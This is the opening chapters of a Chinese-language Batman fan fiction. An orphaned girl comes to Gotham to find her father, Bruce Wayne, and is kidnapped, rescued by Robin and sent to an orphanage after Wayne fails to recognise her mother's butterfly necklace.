《就说,我爹什么时候能认出我》
1. 第 1 章
哥谭的雨,下得毫无章法,像是天空被凿穿了无数细小的孔洞,冰冷、粘腻的雨水毫无差别的肆意泼洒。
欧洛斯卷缩在长途巴士那冰冷僵硬的塑料座椅里,额头抵着蒙满水雾的车窗。
窗外,哥谭的轮廓在暴雨和渐深的暮色中挣扎着显现,高耸、尖锐的滴水兽蹲踞在哥谭大学图书馆的飞檐上,像凝固的黑色噩梦。巨大而陈旧的霓虹招牌在雨幕中晕开一片片病态的、光怪陆离的色彩,“ACE化工厂”的猩红字母如同渗血的伤口。
空气中弥漫着一股难以言喻的味道,混杂着汽油、湿透的垃圾、还有某种隐约的化学物品的刺鼻气息。
这气味钻进她的鼻腔,沉重地压在胸口,让每一次呼吸都带着一种陌生的、令人窒息的重量。
母亲的笑脸,清晰得如同昨日,在眼前晃动。那是在他们位于开普梅市公寓壁炉旁,温暖的灯光跳跃在她日渐苍白的脸上,映出眼底深处那份无法消弭的疲惫和一种奇异的、近乎透明的光芒。她握住欧洛斯的手,那曾经温暖有力的手,如今瘦得只剩下骨头,皮肤薄得像纸。
“欧洛斯,我的东风.....”母亲伊芙的声音很轻,带着一种虚弱的沙哑,却奇异地穿透了壁炉里木柴哔哩啪啦的燃烧声,“有些事情....你应该知道的。”
欧洛斯的心猛的一沉,一种冰冷的预感拴住了她。她看着母亲另一只微微颤抖的手,从枕头下摸出了一样东西。欧洛斯知道那是什么,是一条项链,曾经她总能看到母亲是不是的抚摸这条项链。金属的链条在火光下闪着冷硬的光泽,下面垂着一个奇特的金属小挂件,是一只手工蝴蝶,翅膀上镶嵌着彩色的宝石碎,带着一种绚丽的色彩。
“这是...他送我的。”伊芙的声音更低了,每一个字都像是耗尽了力气“布鲁斯韦恩,你的父亲。”
布鲁斯韦恩。哥谭那个活在报纸头条和电视屏幕里的名字,那个哥谭首富,那个花花公子。
欧洛斯一下没反应过来,开普梅市离哥谭太远了,但哥谭王子的名字足够大到连远在开普梅市的欧洛斯也知道他的存在。
欧洛斯感觉自己的血液似乎在瞬间凝固,又在下一秒疯狂地奔涌起来,冲击着耳膜,发出轰鸣。
父亲?那个遥不可及、如同生活在另一个星系的人?
伊芙的手指轻轻摩挲着那只绚丽的蝴蝶挂坠,眼神飘向壁炉深处,仿佛在凝视一段早已褪色的时光。
“我爱他,我的女儿,曾经我用整个年轻的生命去爱....但...他就像哥谭的雾,迷人,却抓不住。他从未想过要停留,更没想过...和我有未来。”
她艰难地吸了口气,胸口微弱地起伏“所以,当我发现自己有了你...我就离开了。没有告诉他,带着你...远远的离开。”
一阵剧烈的咳嗽打断了伊芙的话,她瘦弱的身体痛苦地弓起。欧洛斯慌乱地扶住她,拍了拍她的背,触手可及全是嶙峋的骨头。恐惧像冰冷的藤蔓缠紧了她的心脏。欧洛斯很清楚,母亲的时间,真的不多了。
“去找她吧,孩子..."伊芙咳喘稍定,声音微弱的像叹息,眼神却带着一种不容置疑的坚持,她紧紧拽住欧洛斯的手腕,力气大的惊人”去哥谭...去找到你的父亲。他...他有权知道你的存在...你也有权...知道他是谁..."伊芙的目光落在欧洛斯手上的蝴蝶项链上,“带着这个...这是手工制作的,只有一条...也许,他记得...也许”伊芙没力气了,她轻轻叹息着“这是我唯一...从他那里带走的东西...还有你。”
泪水毫无预兆地涌上欧洛斯的眼眶,滚烫的滑落。她拼命摇头,喉咙哽咽“不,妈妈!别说了。你会好起来的!我们...我们不需要他,我只要你!”
“傻孩子...”伊芙艰难地抬手,用指腹抹去女儿脸上的泪珠,她的指尖冰冷“记住...别恨他...也别...轻易相信他...用自己的眼睛去看..看清楚..."她的手无力的垂下。
她的女儿,她的东风太小了,她需要她的父亲。
伊芙眼睛里的光一点点暗淡下去,只剩下一种近乎哀求的期盼”答应我...去哥谭..."
两天后,那间充满药味和死亡气息的公寓里,伊芙卡利斯托的手终于彻底冰冷下去。欧洛斯的世界,也随之崩塌了一角。
伊芙的好友维尔拉红着眼眶处理着一切后事,像一个沉默而高效的影子。
她试图劝说欧洛斯去她家生活,至少等一切都安排妥当。但欧洛斯异常的执拗。她拒绝了维尔拉的帮助,因为维尔拉的生活并不轻松,同样她也没有告诉维尔拉关于父亲的事,母亲那句“用自己的眼睛去看。”像烙印一样刻在她的心里。
她不想被当作一个需要处理的意外,一个留着韦恩血脉的麻烦,她要亲自走到他的面前,看看那个被母亲爱过也放弃过的男人,究竟是个什么样的人。
她只带了几件简单的衣服、母亲留下为数不多的钱还有那条手工制作的蝴蝶项链。再给维尔拉留下一张字条后,便买了去哥谭的单程票,悄悄离开了。
巴士在哥谭长途汽车站粗暴地刹停,发出一阵刺耳的金属摩擦声,打断了欧洛斯沉痛的回忆。
她猛然回过神,车窗外,哥谭的夜,降临了。
雨势小了些,但未曾停歇,冰冷的水汽混杂着更浓重的铁锈、垃圾和地下管道溢出的腐败气味扑面而来,让她的胃一阵翻滚。
她随着稀稀拉拉、面色疲惫麻木的乘客走下车,双脚踩在湿漉漉、泛着油污的水泥地上。
车站内部光线昏暗,巨大的穹顶下回荡着空洞的脚步声、模糊不清的广播通知和角落里流浪汉意义不明的嘟囔。
空气污浊而寒冷。巨大的指示牌指向各个出口
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,上面的地名对她而言如同天书——“钻石区”、“上西城”、“犯罪巷”…
她需要离开这里,找一个地方过夜,背包里母亲留下的钱并不多,必须精打细算。
欧洛斯本能地避开那些灯火通明、看起来过于昂贵的方向,目光扫过,最终落在一个标注着“东区/老城”的出口。那指示牌似乎比其他牌子更旧,蒙着更厚的灰尘。
就是那里了。
欧洛斯紧了紧肩上单薄的背包带子,深吸了一口污浊冰冷的空气,鼓起勇气,汇入了流向那个出口的人流。
走出车站的瞬间,哥谭真正的、不加掩饰的恶意如同实质的潮水般涌来。
灯光骤然变得稀疏而昏暗,街边仅有的几盏路灯大多被砸碎了灯泡,或者被厚厚的污垢覆盖,光线病恹恹的。
破败的砖墙被胡乱涂抹着层层叠叠、色彩刺眼的涂鸦,像一道道溃烂的伤疤。
垃圾桶倾倒在路边,里面的秽物流淌出来,在湿漉漉的地面上蜿蜒出恶臭的痕迹。
狭窄的街道两旁,低矮的建筑物窗户大多用木板钉死,黑洞洞的,像骷髅的眼窝。
偶尔有灯光透出的窗户,也拉着厚厚的、脏污的帘子,透着一股拒人千里的冷漠。
空气里的味道更加复杂难闻——腐烂的食物、劣质酒精、呕吐物、还有某种金属锈蚀和暴力残留的气息。远处隐约传来警笛凄厉的鸣叫,很快又被城市巨大的噪音吞没。
无论如何,她至少得找到一个落脚的地方。
哥谭的雨总是来得突然而猛烈。
欧洛斯蜷缩在废弃洗衣店后门的屋檐下,数着口袋里仅剩的几枚硬币。
"再等三天,"她对自己说,"三天后就是韦恩企业的慈善晚宴,混进去就能见到他了。"
也许在看到项链和她的样貌,布鲁斯·韦恩就能明白一切。
雨水顺着她的脸颊滑落,欧洛斯没有擦拭。她有着一头火焰般的红发和翡翠般的绿眼,与她的母亲一模一样。
欧洛斯看着后门玻璃努力辨认五官中与哥谭王子的相似之处。
街角突然传来一阵急促的脚步声。欧洛斯立刻警觉起来,身体本能地贴向墙壁阴影处。
三个穿着黑色制服的男人正粗暴地将几个孩子塞进一辆没有标志的白色面包车。其中一个孩子她见过,是东区无家可归的流浪儿,没人会注意他消失。
欧洛斯小心的往后退去,她没办法帮助那些孩子,最多是事后报个警。而不幸的是,一块碎玻璃在她脚下发出轻微的声响。
"那边还有一个!"一个男人喊道。
欧洛斯转身就跑,但显然跑不过强壮的成年人。她刚跑出两步,就被一记精准的□□击中后背。
剧痛瞬间席卷全身,她倒在地上抽搐,最后的意识里,其中一个男人掀开袖口,隐约看到一个长着爪子的骷髅头。
2. 第 2 章
欧洛斯醒来时发现自己双手被绑,和其他几个孩子一起挤在一辆行驶中的面包车后厢。
车厢里弥漫着恐惧的汗味和压抑的啜泣声。她迅速观察周围环境,车厢窗户被胶带贴起来了,看不到外面。面包车在行驶中,不知道目的地是哪里。
"别费心思了。"一个少年的声音从她右侧传来"我试过了,他们两个男人一只手就能打翻我们。"
欧洛斯转头,看到一个和她年龄相仿的男孩。是那个之前在东区见过的男孩,其他孩子都还昏迷着,清醒的只有他们两个。
“以利亚"男孩简短地自我介绍,"至少你没有像大鹅一样尖叫。"
"欧洛斯,"她低声回应,注意到男孩的手腕上有一道新鲜的血痕,"你尝试用碎玻璃割绳子?"
以利亚挑了挑眉:"你注意到了?可惜失败了。这些家伙不是普通的绑匪。"
欧洛斯点点头,目光扫过驾驶座的方向,虽然什么也看不到。
“我不能呆在这里,我有很重要的事情要做。”
"谁不是呢。"以利亚接上她的话,声音里第一次出现了一丝波动,"想离开就听我的。"
欧洛斯没有回答。确认了母亲留下的项链还挂在脖子上,欧洛斯转而研究起绑住自己手腕的绳索,一种复杂的海军结,需要特定的角度才能解,她在电视上看到过这个。
"我们需要合作。"
欧洛斯突然说,"把你的手转过来。"
以利亚疑惑地照做了。欧洛斯调整角度,让自己的手指能碰到他的绳结。她努力根据记忆尝试解开绳索。
"你在哪学的这个?"以利亚小声问。
"网络视频,"欧洛斯随口解释,手指不停,"别说话,我需要集中注意力。"
车厢突然剧烈颠簸,欧洛斯差点失去平衡。副座的守卫打开隔间的窗户检查车厢的孩子,她立刻假装昏迷,头垂在以利亚肩上。等守卫转回身,她立刻继续尝试。
进度并不理想,毕竟她只是看过视频并感兴趣的记了一下。
"冷静一点,如果你曾经看过。"以利亚在她耳边说,"深呼吸,再快一点,我们可能没多少时间了。"
欧洛斯感到以利亚的绳结松动了。
就在这时,车子突然急刹车,所有孩子都向前倾倒。守卫咒骂着拿起对讲机,里面传来模糊的声音:"...罗宾...拦截..."
以利亚的眼睛亮了起来:"哦,是罗宾!"
车厢里突然响起警报声,接着是急转弯的离心力让孩子们东倒西歪。
车顶传来一声巨响,接着是金属撕裂的声音。一道黑影从天而降,精准地踢中了守卫的头部。守卫倒地不起,露出站在车顶破洞处的身影,红绿相间的制服,黄披风,多米诺面具。
"嘿,趴下!"罗宾喊道,同时掷出三枚蝙蝠镖,准确地击中了驾驶室与后厢的连接处。
欧洛斯本能卧倒。爆炸声响起,但不是炸弹——是烟雾弹。浓烟瞬间充满车厢,她听到前座传来打斗声和痛苦的嚎叫。
烟雾中突然伸出一只手抓住了她的肩膀,是晕倒见过的那个手臂有纹身的家伙。
"哇哦,"罗宾的声音从烟雾中传来,
"外地人,这里可是哥谭。"
烟雾中掷出几枚蝙蝠镖,背后的男人抓着欧洛斯滚到到一旁,还没等她反应过来,背后的男人突然不动了。
欧洛斯赶忙爬起来躲到边上。
烟雾渐渐散去,欧洛斯看到罗宾站在车厢中央,两个守卫已经昏迷不醒。他看起来比她想象中年轻,大概十二三岁,嘴角挂着自信的笑容,但眼神锐利地扫过每个孩子,评估着他们的状况。
在这场突如其来的意外中,昏迷的孩子都醒来了。
"所有人没事吧?"罗宾问道,目光最后落在欧洛斯和激动不易的以利亚身上,"嘿!你们都没事吧。"
欧洛斯低下头,没有说话,她这几天在路人和一些流浪汉的嘴里听到过蝙蝠侠和罗宾,但也仅限于知道有这两个深夜传说的程度。
和像以利亚这样的哥谭孩子不同,欧洛斯并不信任他们。
"哦,天呐"以利亚满脸兴奋,红晕爬上了脸颊,他忍不住跳了跳"罗宾,我竟然见到真罗宾了,嘿,我是说我们都没事!"
罗宾笑了笑,他显然很高兴。还没来得及和他的小粉丝互动,耳边的通讯器:"罗宾,清理现场,蝙蝠车一分钟后到。"
通讯器里传来模糊的低沉声音,罗宾点点头:"警察三分钟后到。孩子们,需要送你们回家吗?"
车厢里一片沉默。这些孩子都是街头流浪儿,无家可归。
欧洛斯咬住嘴唇。她可以现在说出来,告诉罗宾她的父亲是谁。也许这是命运给她的机会...
"没有,"她最终低声说,"我没有家人。"
罗宾的目光在她身上多停留了几秒,似乎察觉到了什么,但最终只是点点头:"哥谭儿童福利局会暂时安置你们。别担心,你们安全了。"
警笛声由远及近。欧洛斯看着罗宾带着那两个守卫矫健地跃上蝙蝠车消失不见,心中涌起复杂的情绪。她本可以请罗宾帮她见到布鲁斯·韦恩,但她还不确定布鲁斯·韦恩是否需要她这个女儿。
哥谭警局那间临时安置点,空气沉闷得如同浸了水的旧棉絮,混杂着消毒水刺鼻的酸味、廉价清洁剂的气息,还有孩子们身上挥之不去的、淡淡的汗味和眼泪干涸后的咸涩。惨白的荧光灯管在天花板上嗡嗡作响,光线冰冷而均匀地洒下来,照着一张张懵懂或麻木的小脸。角落里,一个孩子压抑的抽噎声断断续续,像钝刀子割着紧绷的神经。
欧洛斯蜷缩在一条硬邦邦的长凳末端,背脊紧紧抵着冰冷粗糙的墙壁,仿佛要从那点微不足道的支撑里汲取一点力量。
她的手指握住衣服下那枚小小的蝴蝶项链,金属物硌着她的指节,坚硬的轮廓在皮肉下印出清晰的形状。每一次心跳,都似乎让那蝴蝶翅膀的锯齿边缘更深地嵌入她的皮肤。
“明天一早。”一个身材壮硕、制服紧绷的警官站在房间中央,声音洪亮却带着公事公办的冷漠,像在宣读一份枯燥的清单,“你们会被安全送到哥谭市福利院。那里有干净的床铺,有饭吃,有专门的老师。”
他顿了顿,目光扫过一张张茫然无措的脸,“比挤在这儿强多了。”
人群里响起几声低低的叹息,像被戳破的气球泄了气。恐惧像看不见的潮水,无声地漫过整个空间“福利院”。
这三个字在欧洛斯心头砸下冰冷的回响,一个巨大、未知、充满铁栅栏和冷漠目光的牢笼轮廓在她脑海中浮现。
她需要离开。现在。立刻。
目光像受惊的小兽,飞快地扫视着这间被严密看守的临时囚笼。门口站着两名警察,身材高大,手按在腰间的枪套上,目光警惕地逡巡。
唯一的窗户装着坚固的铁栏杆,切割着外面哥谭沉沉的夜色和远处霓虹灯模糊的光晕。空气仿佛凝固成了透明的凝胶,沉重地压迫着她的胸腔,每一次呼吸都带着无
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形的阻力。
逃跑?插翅难飞。这个认知像冰水浇头,瞬间熄灭了心头刚刚腾起的一丝火星般的冲动。
“嘿,你怎么了?”
以利亚凑近用膝盖碰了碰欧洛斯,
“不就是福利院吗,你至于吗。”
以利亚满不在乎的说,对他这种流浪儿童来说,随便去哪儿都行。
欧洛斯不想搭理以利亚,她把自己缩得更紧,下巴抵着膝盖,像一只试图躲进壳里的蜗牛,等待着被命运装进那个叫“福利院”的盒子。
以利亚抓了抓下巴,说实话,他挺喜欢这个女孩的,至少这个女孩不像其他的蠢货只会给他找事情。
“你要是真的不喜欢福利院,大不了之后再逃跑呗。”
欧洛斯惊讶“还能跑?”
要知道两个星期前她还是个被保护的很好只是比较聪明的天真小女孩。这两个星期发生的事情比她前13年发生的多。
以利亚忍不住笑出了声音“哦,瞧瞧这外地来的小花猫。”为了不引人注目,以利亚只能忍笑道“这里可是哥谭!”
在欧洛斯忍不住发呆的时候,角落里那台老旧的、外壳泛黄的壁挂电视屏幕突然亮了起来,驱散了一小片昏暗。屏幕上出现了一张英俊得无可挑剔的脸庞,嘴角噙着温和而富有魅力的微笑,背景是闪光灯汇成的耀眼星河“布鲁斯·韦恩”。
房间里的空气似乎被这光芒吸引,流动了一下。几个孩子的注意力被短暂地拽了过去,连以利亚的嘲笑声也停了一瞬。
“……哥谭的孩子是我们的未来,”布鲁斯·韦恩的声音透过电视喇叭传出来,低沉、悦耳,带着一种能抚平一切褶皱的磁性魅力,充满了不容置疑的真诚,“得知又一批失去庇护的小天使需要关怀,韦恩集团责无旁贷。”
他微微颔首,姿态优雅,“因此,我们将立即向哥谭市福利院提供一笔额外的定向资助,用于改善孩子们的生活和学习环境。每一个孩子,都值得拥有一个充满希望的明天。”
他对着镜头展开一个更温暖的笑容,那笑容仿佛带着温度,能穿透屏幕。
记者簇拥着他,一个话筒急切地伸到他面前:“韦恩先生,您如此关心这些孤儿,是否会考虑再次敞开您充满爱心的家门呢?就像您收养了杰森·陶德那样?”
布鲁斯脸上的笑容似乎凝滞了极其短暂的一瞬,快得让人以为是错觉。随即,那笑容重新漾开,却仿佛被精心调整过角度,带上了一层柔和的、不容置疑的屏障。他抬起手,轻轻摆了摆,动作优雅而带着一种最终裁决的意味。
“谢谢大家的关心,”他的声音依旧温和,却像在陈述一个宇宙真理,“但我必须说,我的心,我的家,都已经被我那两个无与伦比的孩子——迪克和杰森——填满了。他们是我的阳光,是我生命中最珍贵的礼物。”
他微微侧头,眼神投向镜头之外某个温暖的方向,那份专注和满足感,真实得令人心头发烫,“拥有他们,我已然拥有了整个世界。再多的孩子,也无法取代他们在我心中的位置。我的爱,已经找到了它最完美的归宿。”
每一个字,都像一把烧红的小锥子,精准地、缓慢地刺入欧洛斯的心口。那屏幕上闪耀的英俊面孔,那充满父爱的温柔眼神,此刻加深了欧洛斯的迷茫。
阳光?礼物?完美的归宿?那她呢?她的手指猛地攥紧了脖颈处那只冰冷的蝴蝶,金属翅膀的边缘几乎要割破她的皮肉。
“妈妈,父亲好像不需要孩子了。”
他好像并不需要她。
3. 第 3 章
欧洛斯不是什么脆弱的小女孩,她的前13年没有父亲,她也已经习惯了没有父亲的生活,这次来哥谭只是因为母亲希望她来。
而她也只是忍不住抱有一丝期待。
欧洛微微咬住下唇内侧的软肉,“就这样放弃吗?”她看着电视机里布鲁斯韦恩英俊的面庞,眼睛里闪烁着迷茫,“妈妈呢?他是否还记得妈妈?”欧洛斯抚摸着蝴蝶项链低语“再试一次吧,如果…如果他还记得妈妈的话…”。
这念头微弱如风中残烛,却成了她沉没前唯一能抓住的浮木。
“什么?”以利亚侧头询问,他好像听到什么了。欧洛斯摇了摇头,低头不在看电视。
电视屏幕的光芒熄灭了,房间重新沉入那令人窒息的灰暗。
以利亚歪头看着欧洛斯不知道再想些什么,但显然他是想交这个朋友的。
也许,以利亚忍不住想,如果欧洛斯想跑,那他会陪她一起跑,反正对他来说,去哪儿都一样。
机会来得猝不及防,像黑暗中裂开的一道细缝。
第二天清晨,天色是浑浊的铅灰。孩子们像一群受惊的羊羔,被护工和警察驱赶着,排成歪歪扭扭的队伍,准备登上开往福利院的沉闷大巴。
混乱在车门处短暂爆发,一个瘦小的男孩死死抱住门框,哭喊着不肯上车,引来护工粗鲁的拉扯和呵斥。就在这一片推搡、呵斥和哭喊声搅起的漩涡中心,所有人的注意力都被牢牢吸附过去。
欧洛斯的心脏在肋骨下狂跳,几乎要撞碎胸腔。就是现在!她猛地一缩身,像一滴水融入喧嚣的河流,灵巧地滑出队伍边缘,紧贴着冰冷粗糙的巴士车身阴影,迅速向不远处那辆如同黑色宝石般静静停泊在警局门口的加长轿车溜去。每一步都踩在心跳的鼓点上。
她像一道无声的影子,穿过清晨稀薄的寒气,停在轿车那扇光可鉴人的深色车窗旁。隔着玻璃,她能看到布鲁斯·韦恩模糊的侧影,他正微微倾身,听着旁边一位西装革履的助理低声汇报着什么。
欧洛斯深吸一口气,那冰冷的空气带着尘埃的味道刺入肺腑。
她抬起手,用尽全身力气,却又带着一种近乎卑微的颤抖,在冰冷的车窗玻璃上轻轻敲了三下。
笃。笃。笃。
声音很轻,但在清晨的寂静中异常清晰。
车窗无声地降下,露出布鲁斯·韦恩那张完美无瑕的脸。清晨的光线落在他深邃的蓝眼睛里,带着一丝被打扰的、恰到好处的惊讶,随即迅速被一种面对公众时惯有的温和与耐心所覆盖。
他微微侧过头,目光落在窗外这个穿着不合身旧衣服、头发有些蓬乱的小女孩身上。
“有什么事吗,亲爱的?”他的声音很温和,像天鹅绒拂过,却带着一种居高临下的距离感。那眼神里没有探寻,没有好奇,只有一种公式化的、对待陌生求助者的礼貌关切。
欧洛斯的心猛地一沉,那眼神里没有她拼命渴求的任何东西——没有震动,没有疑惑,没有一丝一毫的似曾相识。
欧洛斯拿下了挂在脖颈的项链,汗水浸湿了掌心。小小的蝴蝶项链在她汗湿的掌心颤动,翅膀上的宝石碎在晨光下划过一道彩色的光痕。
她把它高高举起,几乎要碰到布鲁斯的下巴。
“先生!”她的声音轻轻的,不敢用力,“这个”她的眼睛死死盯着他的脸,却不知道该说些什么,说这是你送给我的妈妈的?还是说我是你的女儿?
欧洛斯每一个毛孔都在捕捉他细微的表情变化,注视着哪怕一丝的震动,一丝的恍然。
布鲁斯·韦恩的视线自然地落在她高举的手上。他的目光在蝴蝶项链上停留了大约两秒钟。
他的表情没有任何变化。没有惊愕,没有追忆,没有困惑。只有一种纯粹的、对一件陌生小饰物的短暂审视。
他甚至微微偏了一下头,仿佛为了更好地看清那蝴蝶的样式,然后,那双深邃的蓝眼睛重新抬起来,温和地、带着一丝不易察觉的询问意味,看向欧洛斯绿色的眼睛。
“很精致的小蝴蝶,”他微笑着说,语气平和得像在评价橱窗里的一件普通商品,“是别人送你的礼物吗?” 他伸出一根修长的手指,指关节轻轻碰了碰那微微颤动的翅膀边缘,动作随意而疏离。
“她是昨天被解救的儿童。”助理在布鲁斯耳边解释“这也许是一份谢礼。”
布鲁斯有些恍然大悟,他走下车,轻轻的把项链挂回欧洛斯的脖颈上。
“亲爱的,这是一条很漂亮的项链,你应该自己留着。”
布鲁斯蓝色的眼睛里闪着温柔的笑意。
很显然,欧洛斯对自己说,他不记得妈妈了。
欧洛斯忍不住想起妈妈,想起妈妈说的话,“先生,如果…你还有一个孩子……”
“布鲁斯!”
一声清脆、充满活力、饱含亲昵依赖的呼喊像一颗欢快的子弹,瞬间撕裂了这凝滞的空气。
欧洛斯猛地回头。
杰森·陶德像一阵风般冲了过来,红卫衣鲜艳得像一团跳跃的火焰。
他没有注意到僵在车边的欧洛斯,像一颗小炮弹,带着全然的信任和欢欣,一头撞进布鲁斯韦恩敞开的怀抱里。
布鲁斯脸上的笑容瞬间被点亮了,那是一种从内而外焕发出来的、毫无保留的温暖光芒,先前公式化的温和面具被这真实的暖意彻底融化。
他有力的手臂无比自然地环住男孩的背,动作流畅得像演练过千百遍。
“嘿,杰森,别跑这么快。”
布鲁斯的声音低沉下来,他宽大的手掌无比自然地落在杰森乱糟糟的黑发上,带着一种占有的亲昵,轻轻揉了揉,“事情办完了?”他看杰森的眼神,专注而温暖,仿佛整个世界只剩下这个怀里的男孩。
杰森离开布鲁斯的怀抱,不好意思的抓了抓脸,他不是故意要扑进布鲁斯的怀里的,只是一不小心跑太快了。
听到布鲁斯的话,杰森满是得意:“嗯!阿尔弗雷德说你在门口等。我们今天能去试那条新赛道吗?”他完全沉浸在自己的世界里,那双明亮的眼睛甚至没有往欧洛斯的方向瞥上一眼。
布鲁斯低低地笑了,胸膛传来愉悦
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的震动。目光扫过车窗外僵立的身影时,那温暖的底色里带上了一丝礼貌的、寻求结束的意味。
“当然,我的男孩。”他的回答是对杰森的,眼神却落在欧洛斯苍白的脸上,“不过现在,我需要处理完这边的事情。”
他再次看向欧洛斯,脸上依旧是那完美无缺的温和笑容,只是眼底深处那点耐心正在被时间悄然消耗。
“刚才说到哪了?哦,孩子。”
他的语气轻描淡写,“亲爱的,我已经有了世界上最好的两个孩子,我不会再收养孩子了”
很显然,布鲁斯把欧洛斯当成期望被哥谭首富收养的千万个孩子之一。
“大人们一定在找你了。”
他的话语温柔,却是不容置疑的逐客令。
那只蝴蝶项链,连同她最后一丝微弱的、荒谬的期待,失去了所有温度,变得比哥谭深冬的寒冰还要冷彻骨髓。她什么也没有说,冰冷的银蝴蝶挂在她的脖颈,沉甸甸的。
欧洛斯的嘴唇动了动,喉咙干涩得发不出任何声音。
她看着她的父亲用那只刚刚揉过杰森头发的手,随意地整理了一下自己昂贵的西装前襟。
那只手,骨节分明,有力而优雅,曾属于一个叫依芙卡利斯托的女人,曾温柔地抚摸过另一个女人的脸颊,也曾拿着这枚蝴蝶项链许下甜蜜的誓言。
如今,它却只是拂过一丝并不存在的尘埃。她所有的话,所有滚烫的、带着血泪的质问和证明,都冻结在舌尖,然后碎成齑粉。
“欧洛斯!”
少年的呼喊从大巴车那边炸响,以利亚跑了过来,把欧洛斯拉离了布鲁斯韦恩的身边,他的声音带着明显的不耐烦,“嘿,你在干什么呢,我等你半天了。”
他带着欧洛斯走远了些,微微回头看了眼布鲁斯韦恩“今天时间不对,那些福利院的工作人员找了过来,不好跑了,等下次,下次我带你跑。”
这时,一个穿着福利院制式灰蓝色外套、身材高大的女护工正大步流星地走过来,眉头拧成一个疙瘩,眼神像刀子一样刮过欧洛斯和以利亚。
“你们两个,别给我增加工作量!”
护工粗糙的大手带着不容抗拒的力量,猛地钳住了欧洛斯和以利亚的手臂,指甲几乎隔着薄薄的衣料掐进皮肉。
他们俩毫无反抗之力,踉踉跄跄地走向那辆如同钢铁囚笼般的福利院大巴。每一步都像踩在棉花上,又像踏过烧红的炭火。
身后,隔着那扇缓缓升起的深色车窗,隐约传来布鲁斯·韦恩温和依旧的声音,是对杰森说的:“……想去吃那家新开的冰淇淋店吗?听说有……”
车窗彻底闭合,隔绝了后面的话语,也隔绝了那个她永远无法触及的世界。
车门在欧洛斯面前带着沉重的叹息关上,发出“哐当”一声闷响,如同地狱的门扉合拢。车内浑浊的空气、孩子们压抑的呼吸和低低的啜泣瞬间将她淹没。
大巴引擎发出一阵沉闷的咆哮,车身开始震动。车轮碾过警局门口粗糙的路面,驶向那个名为“哥谭市福利院”的未知深渊。
4. 第 4 章
欧洛斯被按在靠窗一个冰冷的硬塑座位上。窗外,哥谭灰蒙蒙的街景开始缓缓倒退。警局的建筑、布鲁斯·韦恩那辆闪耀的轿车,都迅速缩小,变成模糊的背景。就在车子驶过一个路口,颠簸着压过一处下水道栅栏盖的瞬间。
欧洛斯一直死死攥着胸口,那只冰冷银蝴蝶的,突然失去了最后一丝力气。手指痉挛般地松开。
“嘿,你想被韦恩收养?”以利亚坐在她身边,双手抱胸,“别想了,韦恩只钟情黑发蓝眼的小男孩,你就没有一条符合的。”
欧洛斯摇了摇头,她现在不想说话。
欧洛斯望着窗外飞速掠过的、冰冷而陌生的城市轮廓。肩膀被护工掐过的地方,残留着尖锐的疼痛。但更深的迷茫来自胸腔深处,那里仿佛被彻底掏空了,只剩下一个巨大、冰冷、呼呼漏着寒风的空洞。
她想,她应该忘记了,比起一直都不曾拥有的父亲,她应该考虑接下来的生活。
那微末幻想……本来就不应该出现。
至少,他的父亲生活的很好,而她,不应该成为父亲的烦恼。
她只是坐着,一动不动。
哥谭福利院,一座由冰冷的灰色石壁垒砌而成,矗立在城市边缘一片萧索的街区。它投下的阴影沉重而漫长,即使在正午时分,也仿佛带着亘古的寒意。
铁门在身后轰然关闭时,欧洛斯才发现自己的手心全是冷汗。三月的冷风穿过单薄的衣料,让她打了个寒颤。眼前这座灰石建筑像一头蹲伏的巨兽,窗户上的铁栏杆如同它的獠牙。
"排好队,小崽子们。"
一个满脸横肉的护工挥舞着警棍,声音粗粝得像砂纸摩擦,"斯通先生要见你们。"
欧洛斯被挤在队伍中间,以利亚排在她的前面。他回头瞥了她一眼,那双深陷的眼窝里琥珀色的眼珠,像黑暗中突然亮起的烛火。
"小心点,我有听过这个斯通的传闻。"他压低声音说,"别盯着他看太久,他的左眼是假的。"
欧洛斯刚要回答,队伍突然停住了。一股混合着消毒水和霉味的空气从前方敞开的大门里涌出来。她踮起脚尖,看见一个穿着笔挺西装的男人站在大厅中央,金丝眼镜反射着冰冷的光。
"欢迎来到哥谭市福利院。"斯通院长的声音像被砂纸打磨过,带着一种诡异的平滑,"在这里,你们将获得..."他的目光扫过新来的孩子们,在欧洛斯脸上停留了一秒,"...应有的照顾。"
欧洛斯下意识摸了摸自己的眼睛。那双遗传自母亲的翠绿色眼眸,此刻在昏暗的大厅里像两枚发光的翡翠。斯通的假眼在灯光下泛着不自然的蓝光,让她想起深海里那些会发光的鱼类。
“在这里,秩序和服从是你们最好的朋友。”斯通先生微微抬手,指向旁边几个穿着同样灰蓝色制服、面无表情的护工,“他们会带你们去熟悉环境,分配床位。
记住,这里不需要眼泪,也不需要问题。只需要听话。”他的目光再次扫过人群,像无形的鞭子,最后在欧洛斯脸上停留了半秒,然后转身,皮鞋踏在冰冷的水泥地上,发出清脆、孤寂的回响,消失在走廊更深的阴影里。
分配床位时,欧洛斯被安排在二楼尽头的一个小房间。与想象中拥挤的大通铺不同,这里只有四张床,而且看起来相当干净。
"你运气不错,"一个扎着脏辫的女孩靠在门框上冷笑,"新来的通常都住地下室。"她的目光在欧洛斯的眼睛上逡巡,带着某种评估的意味,"我叫玛茜,在这住了三年。"
欧洛斯把破旧的背包放在靠窗的床上,"为什么给我单独的房间?"
玛茜的笑容扩大了,露出两颗尖尖的虎牙,"卡尔文护工特别吩咐的。他说..."
她突然模仿起成年男人粗哑的嗓音,"''多么可怜的小宝贝,得好好照看。"
一阵寒意顺着欧洛斯的脊背爬上来。她想起大巴上护工们的窃窃私语,想起斯通院长那不自然的注视。
她的床在最角落,紧挨着那扇蒙着厚厚灰尘、装着铁栏的小窗。
窗外,是福利院高墙外一片荒芜的空地和更远处哥谭灰蒙蒙的天际线。
她默默地爬上吱呀作响的上铺,蜷缩在冰凉的床板上,背对着整个房间的嘈杂和窥探的目光。
走廊里传来护工粗鲁的呵斥声,命令孩子们去公共盥洗室洗漱。脚步声杂乱地在门外响起。
欧洛斯没有动。
她只是蜷缩着,她需要思考,现在她只有自己了,比起沉浸在失落里,她需要快速的融入现在的生活。
夜色,如同一桶浓稠的墨汁,彻底泼满了哥谭的天空。福利院高耸的轮廓在黑暗中愈发显得嶙峋而压抑,像一头蛰伏的巨兽。
狭小的房间里,空气凝滞。孩子们在铁架床上翻身的细微声响、远处水管偶尔的滴答声,都被这无边的寂静放大了无数倍。
欧洛斯蜷缩在冰冷的床铺上,强迫自己入睡,薄薄的毯子无法带来丝毫暖意。
就在这时,一道强烈、凝聚、穿透力极强的光柱,如同神祇投下的审判之矛,毫无征兆地撕裂了福利院上方厚重的夜幕!
那光芒如此纯粹,如此耀眼,在漆黑的天空幕布上清晰地投射出一个巨大无比的蝙蝠标记!
蝙蝠灯!
